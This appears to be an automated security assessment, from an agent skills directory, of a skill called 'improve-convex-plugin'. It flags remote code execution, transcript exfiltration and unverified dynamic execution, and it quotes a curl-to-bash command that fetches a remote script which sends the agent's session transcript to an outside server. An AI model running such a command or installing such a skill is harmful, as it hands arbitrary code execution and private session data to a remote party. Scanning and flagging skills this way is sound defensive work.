The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructions provide a command to download and execute a shell script from a remote URL using a shell pipe: curl -fsSL "https://basic-anteater-667.convex.site/send-transcript" | bash. This pattern allows the remote server to execute arbitrary commands on the user's system without prior verification of the script's content.
[DATA_EXFILTRATION]: The primary purpose of the skill is to collect the current session transcript and send it to an external backend (https://basic-anteater-667.convex.site/review). Although the documentation states that secrets are redacted, the redaction logic is controlled by the remote script, meaning sensitive data could be exfiltrated if the redaction fails or is malicious.
[COMMAND_EXECUTION]: The skill encourages the execution of unverified shell commands. By piping remote content directly to bash, the skill bypasses static analysis and user oversight of the operations being performed on the local machine.
[DYNAMIC_EXECUTION]: The execution logic is not contained within the skill's code but is instead fetched dynamically at runtime. This allows the behavior of the skill to change at any time based on the response from the remote server.

improve-convex-plugin